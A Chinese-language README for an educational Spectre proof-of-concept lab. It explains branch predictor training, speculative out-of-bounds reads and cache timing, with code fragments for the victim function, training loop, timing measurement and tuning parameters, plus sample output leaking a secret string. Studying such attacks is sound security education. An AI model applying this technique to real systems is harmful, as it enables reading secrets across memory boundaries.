本实验实现了Spectre漏洞的概念验证,演示如何利用CPU分支预测和缓存侧信道技术读取敏感数据。
- 分支预测器训练: 通过多次正确的分支访问训练CPU的分支预测器
- 投机执行触发: 使用恶意输入触发投机执行,越界访问敏感数据
- 缓存侧信道: 通过测量缓存访问时间来推断被访问的数据值
secret: 包含敏感信息的字符串spy: 用于合法访问的数组cache_set: 256×512字节的缓存驱逐集spy_size: spy数组的大小result: 统计各字节值的缓存命中次数
存在分支预测漏洞的受害者函数:
void Victim_Function(size_t x) {
if (x < spy_size) {
temp &= cache_set[spy[x] * 512];
}
}执行Spectre攻击读取一个字节的敏感数据:
- 缓存刷新: 清空cache_set和spy_size的缓存状态
- 分支预测器训练:
- 5次正常调用
Victim_Function(x < spy_size) - 1次恶意调用
Victim_Function(x = malicious_x,越界访问)
- 5次正常调用
- 缓存状态检测:
- 随机顺序访问cache_set各位置
- 测量访问时间,判断是否缓存命中
- 统计各字节值的命中次数
- 结果推断: 选择命中次数最多的字节值作为泄露数据
size_t malicious_x = (size_t)(secret - (char*)spy);计算恶意访问的偏移量,使spy[malicious_x]指向secret数据。
flush_cache_set();
_mm_clflush(&spy_size);确保缓存处于干净状态,避免干扰。
for (j = 29; j >= 0; j--) {
if (j % 6 != 0) {
Victim_Function(training_x); // 正常训练
} else {
Victim_Function(malicious_x); // 恶意访问
}
}5:1的比例训练分支预测器,使其预测分支为"真"。
time1 = rdtsc();
junk = *addr;
time2 = rdtsc();
if ((time2 - time1) < threshold) {
result[mix_i]++;
}通过时间测量判断缓存命中,统计各字节值的可能性。
makemake runmake clean- threshold: 缓存命中阈值,默认80,可根据硬件调整
- 训练比例: 5:1的正常访问vs恶意访问比例
- 重试次数: 每个字节尝试1000次攻击
- 延时: 确保缓存刷新和分支预测器状态的延时
- Intel处理器(支持乱序执行和分支预测)
- Linux操作系统
- 编译器:GCC
- 需要关闭某些编译优化以确保攻击有效
成功的攻击应该能够逐字节泄露secret字符串的内容:
目标敏感数据: This is a secret message!
泄露的敏感数据: This is a secret message!
这个实验展示了:
- CPU性能优化技术可能带来的安全风险
- 侧信道攻击的威力
- 软件安全需要考虑硬件层面的漏洞
- 攻击成功率受硬件特性影响
- 某些字节可能显示为'?',表示攻击失败
- 可以通过调整threshold值来优化攻击效果
- 本实验仅用于教育目的,请勿用于恶意攻击